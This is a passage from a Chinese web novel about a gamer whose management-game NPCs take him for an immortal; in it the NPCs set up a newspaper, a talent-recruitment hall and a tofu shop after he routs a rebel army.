白思妙没想到此事竟还有转折,几乎不用思考,她立即抹了把眼泪,选了后者。 这仙人点头,随即不再开口。 伸手一挥,一扇金色大门缓缓出现在二人眼前。 看到这凭空出现的金色大门,白思妙说不害怕是假的,但又一想,她现在还哪有害怕的后路? 于是咬牙率先钻入门内。 那仙师倒是未曾进来,反而双手一挥,金色大门缓缓消失不见。 白思妙惊得想出声,但生生抑制了这股冲动。 这会她惊惧之下,倒不知为何,竟生出了观摩金光内的想法。 ——眼前金光仿若丝丝缕缕间有着联系,她好奇地伸手想去触碰,反而伸手却碰了个空。 没过多久,前方出现了光点,一种莫名的力量驱使着她往前走,直到她走出门外。 金光骤然消失,转而出现的是眼前那抹郁郁葱葱的绿。 慢慢看过来,白思妙好不容易看了片刻,这才察觉到这竟是一处山头。 前方似乎有炊烟,她沿着那方向往前走去,直到走到路的尽头,看到了一副绝美的画卷在眼前徐徐展开。 天蓝得轻飘飘,绿草氤氲,金色的麦田随着微风吹拂而晃动。 麦田中央有群农人正弯腰割着小麦,各个有说有笑,看上去异常轻松。 白思妙不由被震撼到了。 ——她先前也曾见到过那些农人,但各个苦相,总一副愁眉不展的模样,为何这里的农人却这般开心轻快? 还未曾她细想,有一四十来岁的妇人却和她打招呼。 “是白小娘子?” 白思妙看向此人,忙应下。 但眼内的疑惑没能掩饰住,这妇人笑着道:“这便是对了,白小娘子喊我卫娘子便可。 素日我负责给仙师带回来的人介绍工作内容,你不要紧张,只管慢慢听便是。” 白思妙连连点头,亦步亦趋跟着白娘子往内走去。 “这山名为潜灵山,你想必听说过它的名字,这潜灵山是仙师所居住的山头,素日仙师会用灵田育种,会传播知识给我们。 山脚下有一斗坡村,便是仙师属下工厂所开设之地。 目前是两家,一为地瓜厂,二为豆腐厂。 你看,这便是地瓜,成熟后可打成粉做淀粉,也可晒干做地瓜干,亦或是做成粉条,大豆的话,这里很少栽种豆苗,基本上都是传授方法,让我们去附近村子里种植,而后收购。” 卫娘子一口气说了不少话,白思妙慢慢捋清楚后,顿觉甚是奇妙。 先前她们三人一同看过那画册,说潜灵山是世外桃源,当时她不信的态度居多,但没想到的是,造化弄人,短短几日,竟让她阴差阳错来到了这山上! 想到先前方知意也提出要来此地,白思妙不禁向卫娘子打听是否有这个人。 倒是卫娘子摇了摇头,“最近未曾有姓方的小娘子过来。” 白思妙微微沉默,心里瞬间沉重,但未曾表露出来 话说,那山下开设的两家厂子倒是稀奇,她只吃过那粉条做的酸辣粉,滋味诱人,别的却不曾吃过。 等到卫娘子给她讲解完毕山上后,白思妙这才逐步对潜灵山上有了初步认识。 ——那册子竟未造假,一词一句皆为真话,甚至所言还要谨慎几分。 最令白思妙感慨的便是,在仙师名下,有不少女子可以干的活计,且一视同仁,极度公平。 等她被卫娘子引着进了那分配工作的大厅后,便有一人递过来一张纸。 白思妙好奇得紧,想看看这张纸上写了什么,却被卫娘子拦下。 等这张纸在卫娘子手中转了一圈后,这才落到她手心里。 ——报社主编。??? 这是何意思? 白思妙眼神带着疑惑,卫娘子回想起刚才那传递仙师话语的人说的话,这才给她慢慢解释。 片刻后。 “卫娘子,意思便是让我带头开设报舍?” 白思妙有些惊诧,——她倒是知晓这报舍为何物,以往的话,报舍是各类信息汇集和传播的中心,各类官方文书,最新消息会在这里集散,而后整理一番后,作为官方态度发表出去。 素日的话,这报舍官员的采纳定要谨慎,毕竟消息传播开来便控制不住,力求做到稳且可控。 倒是没想到,她才刚来,仙师竟放心她做这般重要的活计? 卫娘子先点头,随后又是摇头。 “白小娘子,我不知为何,看到你便觉得亲切,这会提醒你一句,有时候仙师下达的命令并非表面之意,他更多时候是暗含着深意。” 白思妙被说得一愣一愣的,随即便追问:“多谢卫娘子提点,只是我不知晓仙师是何深意?” 卫娘子便将先前众人试探摸索仙师口谕“勤修不辍”的事迹再次说了一遍,这事迹不够说,她甚至拿出张氏几人身上的例子一一说了一遍。 等到最后卫娘子离开之际,白思妙还琢磨着这职位到底该如何开展才是仙师未曾说出口的深意。 一思索便是一下午,等到夕阳落下,看着远处农人三五聚在一起,互相吃饭唠嗑时,白思妙脑内忽然闪过一丝灵感。 但这灵感消失得太快,不等她细想便消失不见。 懊恼之际,白思妙却想到了一处地点。 ——学堂。 听卫娘子所说,那学堂甚是奇妙,为何她不去那地方寻找一番灵感? 等到她钻入学堂,虽说已经听卫娘子说过这学堂甚是奇妙,但等亲自见到时,依旧被震撼得浑身僵硬。 而后,等她在学堂内连续呆了一天后,白思妙却注意到了先前被她忽略掉的细节。 先是展开那张纸,看着上面所写的四个字,——报社主编。 白思妙回想起学堂内对于“社”的定义,而后豁然开朗! 此社非彼舍啊,她原以为仙师想让她做记录官方的报舍,但却忽略了仙师的用词是“社”! 既是报社,自然是谱写社会百态,而非一家之言。 再联想到更深一层,报社还可融入社会的细微之处,为百姓谋福利才是。 既然大方向已定,白思妙却率先察觉到一个更为严肃的问题。 ——先前她为了寻找灵感,来这学堂碰运气,也就是运气好,刚好能遇到一节课,专讲社会,这才让她从中得到了启发。 但若只靠运气,未来办事反而不够高效率。 不若派专人前来记录学堂内容,而后再有人负责将学堂内容整理成册,再编辑目录,日后定会有大用。 且这并非无用功,对她报社的开设也是大有益处。 既是仙师所开设的学堂,那其中必然蕴含着他对于万物的看法,亦或是态度,如果不细心揣摩,如何能够做到心中有数? 既她负责报社,便不允许有任何揣摩错用意的事出现。 白思妙一旦进入状态,整个人似乎进入心流状态,脑内奇思妙想无穷,连饭也顾不上吃。 而屏幕前的姜定则在看完了一段极为炫酷逼真的CG特效后,忍不住擦了擦并不存在的眼泪。 ——这剧情,别说,还真的挺爽 尤其是暗戳戳装一波大的后,那种舒畅感简直不用多说 脑内还在回想先前那段燃爆了的CG时,游戏却弹出提示,询问他是否要带走一名叫白思妙的NPC。 看到这名字,姜定很快便回想到先前在CG里,主控救的便是这小女孩。 根据他多年的游戏经验,如果不是重要人物,游戏才懒得给画面!尤其看这人物模型制作得甚是精致,想来这叫白思妙的NPC或许是个重要角色才是。 姜定呵呵一笑,毫不犹豫选择了带走。 白给的工人,他能不要嘛! 等到他选择带走后,小女孩竟然加了50的好感度,不由地让姜定呆了一瞬。??? 刚才他点得有些快了,只是匆匆扫视一圈题干,这会忙翻开记录,去看到底为什么会加这么多好感。 等到看清楚前因后果后,姜定忍不住叹了口气。 唉,这封建古板害死人啊! 第77章 初步想法 再点开白思妙的属性界面,此人的天赋属性为【文化传播】。 文化传播? 不知为何,姜定脑内瞬间想到的便是报社这种工作。 有言是掌握报社便是掌握了舆论,掌握舆论才能掌握优势。 咳咳咳扯远了,这报社在他这里的作用就是类似于这种种田游戏都会出现的通用设定,——预测农作物价格,以及去哪儿打工工钱更多,以及农田种植所需要的天气预报。 思来想去,姜定觉得这是游戏想要推出报社功能的引入剧情。 于是很快,他便痛快地给此人分配了报舍主编这活计。 等到分配完任务后,姜定这才不再多关注此事。 而白思妙则是顾不上休息,一大早便去找卫娘子,先是说了学堂需要人抄录内容,而后又提及到“报社”这个概念。 “在我的设想中,报社不仅仅要承担起传递政策的责任,也同样要为百姓的幸福添砖加瓦。” 到底是看了数节学堂课的人,说起话来都不自觉带了几分学堂内的特殊气息。 “比如说,应当在报社中设置各个版块,政策版块——负责将仙师的思想挨个剖析出来,给众人解读。 农业指导版块——可专注于分享一些常种作物的栽种技巧,想必对百姓颇有益处, 以及每日招工版块——方便百姓更好的寻找工作。 除却这些实用板块外,我建议再添加民间趣味版块,增加报社的传播速度,也能多几分乐趣。 只不过若是按照我所想建设报社的话,还需要人手,不知仙师旗下是否还有多余的人手?” 卫娘子听了个大概,但很快也听懂了白思妙的意思。 这小娘子的想法倒是独特,不同于以往的报舍,她这样的听起来就多了几分实际性。 但若提及到人手,她确实有些没有头目。 “人手的事,白小娘子不若直接询问仙师?” 既卫娘子这般说,定是山上暂且没有合适的人手了。 白思妙虽不敢随意叨扰仙师,但她总觉得这报社应当尽快开启才是。 于是大着胆子,率先询问。 本以为仙师日理万机,说不定得好几次才能联络到对方,但谁能想到,仙师的反应速度这般快? 而此刻,姜定的电脑屏幕上却多出来一则提醒。 【你的工人白思妙决定开设报社,但由于缺少工人,现在想向你讨要几人办事,你是否同意?】 看到这提醒时,姜定顿觉不妙。 忙点开雇佣界面仔细查看对应的工人属性。 等到他将前几排的工人仔仔细细看了个全面后,顿时泄气。 ——什么鬼,他名下工人数量不少,但为什么没有现在能派的上用场的人啊啊啊啊啊! 还没崩溃完,却见又有一则消息弹跳出来。 一想到或许要暂且延缓报社的建设,姜定就觉得浑身不爽。 不爽归不爽,消息提示还是要看的。 点开,是前不久那个紫色隐藏NPC发过来的消息。 【你的工人赵金构已建设了百才堂,特向你汇报,你可以去百才堂招纳人才了!】???!!! 什么鬼,瞌睡了就给送枕头? 等到他点开那名为百才堂的按钮,看着突然多出来的数位中高数值的人才,这会不由地眼冒绿光。 这个好啊,文学素养高,适合干报社,这个也不错啊,这适合干点技术性需求高的工作 姜定在分配之际,赵金构则是忙着接管手下的人。 原先的话,他是打算先引荐方大夫,再向仙师提及开设百才堂的事。 毕竟他觉得,仙师最近想必甚是忙碌,风仙县也不知现在到底是何模样? 前不久,赵金构可是听说那城内的县令打算向那义师军投降,初闻此事时,赵金构只觉得气结。 ——这般贪生怕死之辈,也配做为一县县令! 但再思索一番,若投诚的话,是否那些义师军便不会杀人了? 但从知情人口中拼凑出来的事实又告诉他,那义师军可不是什么好相处的,到时候反悔说不定也是一念之间的事。 再加上先前他从城内得到消息,商贩均被统一带走,要集资出什么“买命钱”,更过分的是,对于那些普通老百姓们,竟然也要每人征收十两的买命钱,不然的话,便要将这些人撵出城去! 为切身查看事实到底是不是线人口中那般,赵金构亲自驾马前去风仙县附近打探消息,等到他人刚到那风仙县附近,倒是真看到了聚集在门外的大堆大堆人。 这些人各个看着眼神麻木,浑身了无生机,看样子真如线人所说,是城内因付不起买命钱而被赶出来之人。 赵金构不由叹息,顿觉这世道败坏。 ——这些人以往均是住在城内,在城内讨生活,这会被撵走,什么东西都不让带,这不是逼着这些人去死! 也怪不得这些人徘徊在城门外不想离开,毕竟留下来的话,还有搏一搏县令心情好的机会,若是离开,他们一无钱财,二无住宿之地,再加上现在外面又有灾祸战争,怎么看都是一个必死的局。 因明日就是那义师军前来的日子,赵金构没靠近城门口这些人,反而绕了一圈,前去另一城门口观看那义师军所行之事。 因风仙县一圈都有官兵把手,赵金构特意骑马离得稍远一些,生怕被人注意到,而当他找好位置后,一呆便是一夜。 第二日,天刚蒙蒙亮,不远处便传来一阵又一阵马匹踩踏在地面上的声音。 这声音传播范围极广,赵金构先前还在打盹,这会忙睁眼看向前方。 只见有数千人大军,领头的打着“义师军”的旗帜,而后其余人则是先一步将整个风仙县包围住。 不让城内的人有丝毫逃走的机会。 赵金构心中一惊,想到那城门外的百姓。 ——不知那些百姓懂不懂得要暂且离开?若不离开,恐怕要被这义师军处置掉。 来不及担心那些百姓,赵金构先是看到了一众官员出来迎接,而后从义师军这边分离出一小部分人马,跟着进了城。 大部队依旧在城外待命。 目前看来是暂无变故,赵金构耐着性子打算继续等等看,直至等到黄昏之际,城内突然传来阵阵哀嚎求饶声。 也是因为他修炼了那归一炼身法的缘故,现在耳聪目明,对周遭事物的敏锐度相较于先前提升了好几分,这才能在第一时间察觉到城内状况。 再看看城外的大部队,竟是无一人发现城内异状。 赵金构不由思索,到底是城内的义师军被惹怒后大开杀戒,还是仙师已然来收拾这群人了? 因卡看不到内里,只能作罢,但令他没想到的是,过了没一炷香时间,那城墙赫然发光,而后一身姿缥缈仙人腾空在那城墙之上,出手间,两柄弯刀静默地收割着义师军的性命,那些人在对上这弯刀时,仿若幼儿,毫无抵抗之力便被杀死。 哀嚎声遍野。 赵金构看得心下震撼——那人,定是仙师! 想必是仙师看不过去,开始出手了! 仙师的手腕他是见过的,虽说素日仙师看着是脾气极好的一位仙人,但只有见过当日处罚那李德几人的手段,才能知晓这位一出手便是绝杀。 等听到那义师军副将叫嚣着说义师军能给仙师任何想要的东西时,赵金构差点没能笑出来。 ——可笑,仙人所求之物便是要是太平,而对于他们这些主动制造出混乱的人来说,自然而然就成了仙师的眼中钉。 果然不出所料,为羞辱这义师军,也为城内百姓出口恶气,赵金构注意到,那义师军的头目,以及风仙县内的官员均被砍头,而后和李德一个待遇,挂在城墙上示众。 等到那弯刀追赶着砍人,大批大批的义师军乱成一团,节节败退,而后慌不择逃窜离开。 赵金构这才起身驾马,前去查看先前那群城门外的百姓是否还活着。 等到他驾马来时,便看到那城门被仙师一挥手打开,而后站立在城门口的百姓看着仙人,不知是不是被震撼到了,这会竟只顾着呆愣愣地抬头去看。 “进去吧,以后可以好好生活了。” 仙师在说完这话后,整个人消失不见,倒是那群百姓难掩震惊,等到大脑运转开来,忙跪地磕头。 这群人入了城内,而城内原先躲藏起来打算看看苗头的百姓也试探着出来了。 黄掌柜便是其中一员。 昨晚他前半夜压根没睡着,后半夜困得打了个盹,而后天一亮,忙试探着伸出脑袋,看看城内到底如何了。 一开始他慢悠悠推开窗户口,而后一股浓厚的血腥味直扑鼻而来。 黄掌柜心里一慌,——这是死了多少人啊!可恨的流寇贼子,就不该放这些人进来! 而当他看到不远处死的一片人竟不是普通人,亦或是本地官兵,而是那穿着异乡服饰的义师军时,整个人不免有些恍惚 他看错了?这地上密密麻麻的尸体,竟然是那义师军? 谁都知晓那义师军有三千大军,各个凶残善战,昨夜到底是发生了什么? 正疑惑之际,耳旁却听到有人喊他。 黄掌柜一个哆嗦,心想坏了,自己怎地这般不小心,这会被人发现了该如何是好? 心里发凉,但身子抑制不住地朝着发出声音的地方看去。 这一看不要紧,来人竟然是以前的老主顾——赵金构。 黄掌柜那颗紧绷的心这会才落下,随后倒是不免疑惑起来。 第78章 奇人 不对劲,这赵金构早在前些日子就出了城,他有一阵子没看到这位了,他以前就知道这赵小少爷消息灵敏,既这义师军来犯,这位自然是提前跑路,能跑多远跑多远,何故现在还在城内? 这会也不好开口问,只能扯出一个笑和赵金构搭话。 “赵小少爷,今日可没有冰卖了,你想要可得过些日子再来了。” 赵金构如何不知这黄掌柜是个人精,这会倒也懒得和他兜圈子,直接开口:“黄掌柜可真爱开玩笑,这会我哪有心思要冰,像您打听个事,昨夜这城内到底发生了什么? 实不相瞒,我昨晚便来到了城门外,亲眼看着城墙上有一仙人执两柄弯刀杀光那义师军,而后今早,那城门外不得进入的百姓也随即进入,就是不知昨夜城内那仙人到底是怎么动手的?” 黄掌柜一阵恍惚,——仙人?他只在那卖酸辣粉的张氏口中听闻过这个称呼,难道说的便是这位? 既这赵小少爷已开口,想必的确如同他所说,那义师军被那仙人给杀得片甲不留,而后逃走了。 好事啊! 黄掌柜先前还紧张得紧,这会那颗急剧跳动的心是彻底平稳下来。 随即他便将自己昨日知道的事告诉眼前之人,倒是赵金构陷入沉思。 据黄掌柜所说,他家距离那酒楼近,昨日那酒楼一开始热闹得很,之后那官兵押着那白家小娘子进了酒楼,而后不久,那酒楼内便哀鸿遍野,听那动静像是动手了。 这会黄展柜开口:“莫不是,昨夜我听到的动静就是仙人动手的动静?” “想是如此,黄掌柜,我先去一步,咱们日后再聊。” 既赵金构有事,他也打听到了城内外的动静,自然同意。 而在酒楼内,竟然是数具义师军的尸体。 这些人死的时候似乎遭受了极大的惊吓,各个惊得脸庞扭曲,伤口统一是用锐气切割而成,看这手笔,倒是和那两柄弯刀能对得上。 赵金构再询问一番昨夜酒楼内幸存的人,倒也从这些人口中听到了仙师来临,而后动手的事迹。 既全部消息已弄明白,赵金构顿觉这是一个极为适合宣传出去的画本子。 ——建立百姓的信任从何而来?自然要用眼前之事唱一出大戏了! 赵金构亲自去找人拟定宣传的画本内容,而后又派人前去询那白家,试图打听此人目前在哪。 倒是没想到,他派去的人,一上门便吃了闭门羹。 那白家的家丁一开门,在听到是来打听白思妙此人,立即“砰”地一声,将门紧紧关闭。 这消息自然是没瞒着,而是悉数回报给了赵金构。 至于他这边,画本子内容已拟好,画师正打算作画生产了。 除却画本子外,这故事他也找了数位说书人,让这些人记清楚内容后,这才放他们离去。 ——现在城内最要紧的是处理残局,等一切稳定后,说书人一说,不怕仙师之名传播不出去。 而在处理风仙县残局时,未等他动作,城内竟陆续出现数位人杰,率先指挥百姓合力将尸体扔出城外,而后挖坑,在内放入石灰木炭作为杀毒用,而后又组织城内百姓,挨个将那被鲜血浸泡之处泼水刷洗干净。 除却这些事以外,还有人提议以左右街坊为单位,互相查看人数是否齐全,是否有伤亡。 等到统计结果出来时,本以为多多少少会有些伤亡存在,但令人诧异的是,这偌大的风仙县竟无一百姓伤亡! 赵金构混入其中,想看看是哪位有这么大的号召力,能说动县内这么多人一起干活。 等到他看清楚那人群中的蓄着胡子的老丈时,顿时了然。 ——此人是风仙县最为有德行操守的一人,大伙都尊称他为李老,此人主要从事经营之事,素日待人宽厚,人缘也是好得很。 赵金构倒是知晓此人,先前是和官府做生意,这会眼看王县令倒了,这李老不知下一步打算如何动作? 风仙县内的秩序恢复得比他想象中要快,虽说县令已死,但目前新的县令并未选出,于是上面的位子就一直这样空了下来。 而与此同时,坊室内则是出现了不少画像,那些个画师纷纷称自己所画之人便是那一日横空出现的仙人! 于是大伙争相去看热闹,而后等那画师缓缓展开画作时,各个倒吸一口凉气。 “这便是当日救了咱们的仙人?” “不愧是仙人,竟长得这般”想了半天,也没想出个形容词,只能无奈作罢。 而这画师则是洋洋得意道:“那一晚也是巧了,我家正距离城门最近,我掀开窗户,恰好看到了仙人的面庞,而后才能画出这画,不过可惜的是,我自认为我技术还不错,但和那位仙人真实模样一比,这画只能说得上是拙劣不堪的临摹罢了。” 立即有人质疑。 “宋画师,你这一手画技可是出神入化,若连你都未能捕捉到那仙人的几分神韵,那旁人自然更不行了,再者,你当初离得远,能看得清楚嘛!” 宋白脸色变换,随即哼了一声,“离得确实远,但我有一望远镜,可清晰看到那仙人模样。” 似乎和这些人多说无益,宋白将那副画挂在店门口,而后便进了屋内。 倒是赵金构有几分意动。 ——这画师有两把刷子,别说,这画画得确实传神,虽说不如仙师本人模样,但能画成这样,已是稀世奇才了。 倒是往日他不曾多在琴棋书画上多下功夫,这等人才竟是硬生生错过了。 尤其想到刚才此人提及的望远镜一物,赵金构也是来了兴趣,随后钻入屋内,和此人探讨一番。 宋白本就气结自己的画作被人怀疑,倒是没能想到能遇到赵金构这样的知音,一番畅怀谈论后,赵金构这才打听起那望远镜。 眼看赵金构不曾见过此物,宋白倒是大方,拿出来让他观看。 等到赵金构抬手,将那孔隙对准眼睛,眼睛却看到了那素日绝不可能看清楚的远处。 他不由心动。 这望远镜,相当神奇! 若是用在行军打仗,亦或是游商身上,想必有作用得很。 既有作用,赵金构自然要将这来源打探清楚。 “这望远镜是我一好友做出来的东西,他素日酷爱研究些精巧活计,哪日我带你去找他。” 赵金构本以为这望远镜是买来的,倒是没想到,里面竟然能被他捉住一条大鱼。 这等人物他一定得给收到百才堂去,想必对仙师颇有帮助。 打定主意后,赵金构自觉到了该收网的时候了,这会忍不住叹了口气。 先前宋白和他相谈甚欢,恨不得要和赵金构做那异姓兄弟,这会见他叹息忙问何事。 赵金构反而出口反问他,“不知宋兄最近有听闻过那坊市间流传的仙人画本不?” 宋白稍作回忆,很快便道:“自然听过,那说书人说得真是畅快,不过那画册子画师画得照我差远了。” 赵金构心想这不是废话,他找的画师都是那种普普通通的画师,那会他也没遇到这宋白这人啊。 “论画作的话,自然是宋兄为首,不过那日仙人现身,力挽狂澜,我便生出一想法,想替这位仙人效力。 一路摸查,倒是真被我找到了那仙人踪迹。” 宋白倒是不曾想到赵金构要说的竟是如此,于是忙开口追问,“莫非真在那潜灵山上?” 那画本子上对于这潜灵山的描写不可谓不传神,将那处描摹的天上有,地下无,俨然一副人间天堂。 “自是,我到了那处后,发觉那画本上所写竟无一虚言,当下我便拜入那仙人门下,在中间,我发觉这仙人竟是抱着一颗想还人间太平的心,大受震撼后我察觉到仙人手下可用之才虽说各个惊艳,但若想快速成就盛世,还依旧需要不少时间。 既已看到仙人的态度,我心想不若办一百才堂,专供各位有才之人为这世道乾坤做出贡献才是。” 赵金构含笑询问:“我看宋兄是有大才之人,何不拜入那仙师门下?” 宋白被这话震撼到了,尤其是在赵金构证实了那处竟然并非虚假后,他有些期待,同时又有些怀疑。 “我就会画画,也能替那位效力?” 赵金构循循善诱,“自然,等你去了便会发现,仙师总会发觉到每一个人的优点的。若宋兄信不过我所说的话,不如直接派人去那潜灵山下的斗坡村询问一二,便可知我是否有说谎。” 宋白此人心思单纯,这会被说得耳尖发红。 “我自然是相信赵兄的,既这样,我便带你前去找我朋友,看看是不是也能把他带上。” 赵金构心想,成了。 这宋白真是好孩子啊,还不等他开口,主动带着朋友就来了。 之后暂且不表,赵金构凭借着那画本子,以及前几日城内发生之事,以及现在还挂在城墙上不住地晃悠的县令几人脑袋,硬生生的拿下数人,这些人表示自己均愿为仙师效力。 期间也有难推进时,但都因为那几人的脑袋,才让他的举例彻底成功。 每当这个时候,赵金构不免感慨,——王县令,你的死还是有价值的,这不就为他百才堂的建设添砖加瓦了? 至于那李老,他也抽空见了一面,一番博弈,倒是也说服了这位加入。 赵金构这招收有才之人,创造百才堂的事倒是像风一般传播了出去。 这日,在酒楼坐着品茗时,赵金构对最近所做之事还算满意,刚想将成果汇报上去,不等他在脑内联络仙师,却先有一戴着帷帽的女子轻声开口。 “赵公子,我也想加入这百才堂。” 第79章 开业 赵金构这才抬头去看这女子,倒是看不太清楚此人的面庞,但若只是从穿衣打扮上看的话,此人应当是哪家的年轻小娘子。 既有人主动拜入名下,赵金构自然不会拒绝,在和对方交谈之际,他倒是知晓了此人名字。 ——孙凝羽。 在听到这名字时,赵金构心中微动。 本县有名的才女,和方小娘子,白小娘子共为三大才女。 按照他先前打探出来的情报,这孙凝羽似乎以前是打算嫁入那县令府上的。 等到二人谈论完毕时,孙凝羽却没着急着走,而是有些踌躇地站在原地。 等对上赵金构眼神后,她深呼一口气,缓缓开口:“赵公子,我想请你帮我打听一个人,价格什么的好说。” 其实没等她说话前,赵金构自然能猜想到她想让帮忙打听的人是谁,自然是那白家小娘子,毕竟据说三人亲如一家,关系好得很。 眼下那方家娘子不在城内,而最令人操心的便是那白家小娘子的死活了。 既对方已加入百才堂,赵金构倒也没想着要钱,只是道若有消息定会第一个告诉她,孙凝羽这才点头离去。 眼瞅着人才数量已经有一定数额了,赵金构先是将名单上写的众人名字和脑内闪现过的人先对应一遍,确定被上报的人的确值得招揽后,这才放轻松,在脑内联络仙师。 联络速度依旧很快,几乎瞬间,那位熟悉的声音便响彻脑内。 等到将百才堂开设的事情告知仙师时,对方好半天没回复,赵金构心里微微一紧,心想难道是自己太过于大胆,没先告知仙师,惹得这位不满意了? 这个念头刚刚升起,便听脑内传来一阵叹息。 “做得很好,这样便拥有更多的可用之才,你可以自行选一份奖励。” 赵金构心下激动,稍作思考后便拒绝了。 “回禀仙师,先前仙师救了我祖母性命,目前我感觉尚无需要之物,所以这次的奖励就算了。” 而屏幕上,看到这工人竟然说出这话后,姜定脸都要笑烂了。 ——好啊好啊,很有眼色,本来他是被游戏逼的只能付出奖励,倒是没想到这工人根本不要。 心里舒服了片刻后,姜定则是看着这名为百才堂内的工人,随后挨个给他们安排工作。 先给白思妙拨过去几个人,好让报社顺利开设,而至于那学堂内的抄书人,他也派出去人前去接过这任务。 除却这些人才以外,更令姜定惊喜的是,这百才堂内竟然还有几位大夫属性也很不错,点开那属性最高的方大夫,姜定先给这几人设定了职位,而后游戏提醒随后到来。 【恭喜你解锁了医馆,你的医馆现有工人为五人,请设置工资。】 沉默片刻后,姜定现在已经能无比从容地设置薪资了,虽说依旧是该行业游戏规定的最低水平吧,但好歹他现在手头不至于像一开始那么紧了,所以给这些人发工资倒也说不上特别心疼。 虽说暂时来看的话,医馆大概率是一个利用率比较低的部分,但想想这医馆得来得轻松,姜定也就不再废话。 而赵金构则在说完那番话后,便察觉到仙师一声不吭,竟然离开时,他不免生出了几分若有若无的惆怅。 但很快,这点惆怅就被他自行消化了。 ——仙师日理万机,以仙师那般温和的性子,定是有更要紧的事轮着他做。 给仙师找好理由后,赵金构这才决定离开风仙县,去斗坡村豆腐厂一趟。 在他看来,这会时机正好,豆腐坊应该趁机入驻才是。 而那些先后在百才堂内册子上写下名字的人,则还在想着那赵金构何时能将他们引荐给那传说中的仙人。 但想想这事急不得,只能劝自己安稳等待,静待佳音。 不过值得一提的是,在那义师军入侵风仙县失败,且本县官老爷们均不在位时,本县的百姓虽说各类生意肉眼可见萧条了,但因少了强税,倒也还能凑合着过下去,一番对比下来,竟和先前活得没甚差别。 当然也有不少百姓自觉力不从心,四处打听,想打听个能赚钱的地方。 但这何其难! 毕竟外面战争四起,现在恐就他们风仙县不曾被外敌侵犯了,作为最边缘地方的县城,以往还能和隔壁县城互通往来,做做生意什么的,但现在明显是不成了。 倒有那消息灵通之人,在一番打听后,还真找到了新活路。 杜牙人家中,此刻正被不少人团团围住。 “杜牙人,你这话可是当真?那斗坡村真有许多活计,且最低日薪为一百文?” “一百文?这是真的?” 众人惊讶之下,便是心里直犯嘀咕。 这别说现在了,要是搁在以往,日薪一百文的工钱哪能轮得上他们去做? 但这杜牙人为人可靠,抽取的价格公道,所以在风仙县还是很受欢迎的。 杜牙人捋了捋胡子,颇为感慨。 “不怪大伙不敢相信,其实前些日子我前往那处时,初听到这消息时,也是觉得不可能,但等我细细查看后却发现,那处的确有活计,且日薪最低都是一百文。 据我观察到,那地方食物丰饶,价格合理,竟险些要比县内集市还要热闹。” 听完杜牙人这番话后,众人均是陷入沉思,而后有人心动问道:“不知如何才能去那处上工呢?还望杜牙人给我们指点一番啊。” 杜牙人摆摆手,慢悠悠道:“若让我出面去问的话,等日后成了事,我是要抽取一百文作为报酬的,若不用我去问,那你们自然可随时前往那处。” 众人心下算计,——自己去虽说能省一百文,但不一定能成,再加上来回车费,耽误的时间,以及路上可能会出现什么意外,这样算下来,还不如让杜牙人代为忙碌,等日后成了事,一百文左右不过一天的工钱,但可比自己亲自去要合适多了。 一番思索,大部分人都选择了让杜牙人代为操办此事。 也有少部分人还想再观望一番,并未同意。 既有这些人想上工,杜牙人自然将这事放在心上,连着数日都早早出门。 一连去了数日,等得这些人人心惶惶,随着时间越久,这些人反而越是丧失信心,几乎对前去上工之事不做期待,而先前那些观望的人,则是从一开始的纠结后悔,再到现在纯粹成了看热闹选手。 除却这些百姓外,县内不少看得远的人家倒是将手里的钱逐渐换成食物,御寒衣物,调味品。 ——现在虽说暂且铜板还具有购买力,但风仙县两旁并未有能固定通商的途径,长此以往,恐怕只能靠本县以及下属村落自给自足。 越是精致且需要加工的物资定是越消耗越少的,不若现在先兑换一部分为之后做打算。 眼下这世道恐怕只能活一天算一天,虽说早已知晓风仙县之后的局面,但不少人依旧选择停留在原地,一是因为逃走风险太大,二是因为那仙人。 既仙人曾现身护下他们,为何不能再赌一把,看看这位是否能再次解救他们于水火中? 城内依旧按照自己的节奏,慢悠悠,无甚活力的继续运转,奇特的是,在这粘稠窒息的氛围间,竟有一新店开业了。 当欢快的舞狮声响彻县内时,逐渐变得麻木的百姓各个忍不住想过去看看热闹。 ——都这个时候了,他们倒是要看看是什么铺子开业。 等到人来到那开业的铺子面前时,先来的人早就将那铺子挤得满满当当。 “豆腐坊?不会是先前货郎卖的豆腐吧?” “可不是咋地,看那牌子上写的,除了鲜豆腐,还有豆干,豆皮,腐竹等供应,看看价格,倒是和货郎价格一样。” ——自然是一致的,一是考虑到运输成本,二是为了不抢占货郎的生存空间。 既价格一致,那去哪儿买都是一样,只是图个方便即可。 若是想买的花样多一些,则明显是来豆腐坊更为合适,只买豆腐,自然还是选择能够走街串巷的货郎更方便。 光是开豆腐坊还不够让人激动,最让人激动是那豆腐坊外张贴了一张招纳单。 大意写着招收两个洒扫工,日薪为一百文。 一百文的薪资瞬间便点燃了众人的热情。 “一百文?真的假的?” “洒扫素日最多只有十五文的薪资,这里竟能给到一百文?” “这单子上写得一清二楚,自然做不了假,不知道需要什么条件才得行?” 众人在心里默默计算这一百文的威力,而后各个跃跃欲试,恨不得立马钻进这豆腐坊内面试去。 没等多久,那豆腐坊便宣布面试,人群激涌,等大约一刻钟后,很快面试便结束了。 招收的洒扫工为一男一女,这二人被招上后,自然是喜气洋洋,没被招上的人则是叹息,毕竟下一次有这好薪资也不知道啥时候。 而来迟了的人看到这薪资后,各个急红了眼。 ——一百文!早知道自己就早些来了,不然说不定招上的就是自己! 这会不死心去问豆腐坊,何时才继续招人。 那老板开口:“我们是从斗坡村来的连锁豆腐店,招人的话也是需要向上面汇报的,暂时应当是不招人了。 不过各位可以购买一些豆腐,本店新开业,前三日均打九折!” 围观百姓顿时失落不已。 暗叹无缘后又觉得不能白来,纷纷采买了一些素日很难买到的鲜豆干什么的。 不少人则大批量采购了一些干货,毕竟这可是打九折啊! 倒也有人心里琢磨开来。 ——看来杜牙人并未说谎,这开到本县的豆腐坊都能给出日薪百文的待遇,想必那总厂待遇更高! 第80章 拜入 只是那杜牙人数日不曾联络他们,可是这事难办? 原先求了杜牙人的那部分人一开始还不曾觉得焦急,这会看到别人竟能上这一百文日薪的工后,这会急得团团转。 纷纷结伴前往那杜牙人家中。 连续等了三天,总算在最后一日时遇到了杜牙人。 恰逢杜牙人正坐在马车内,这群人忙迎上来。 等到跟着回到屋内时,便听杜牙人缓缓叹息,而后道:“先前你们让我打听的事成了,那斗坡村目前正招人去做技术工,日薪我预计应当在一百五十文左右,这个技术工大概招一百人,若没能招成功,还有别的卖力气活能做。” 大伙都互相对视,而后忙问什么时候能去那村内上工。 “等明日吧。” 等送走了这批人,杜牙人脑内思绪翻滚,迟迟未能睡下。 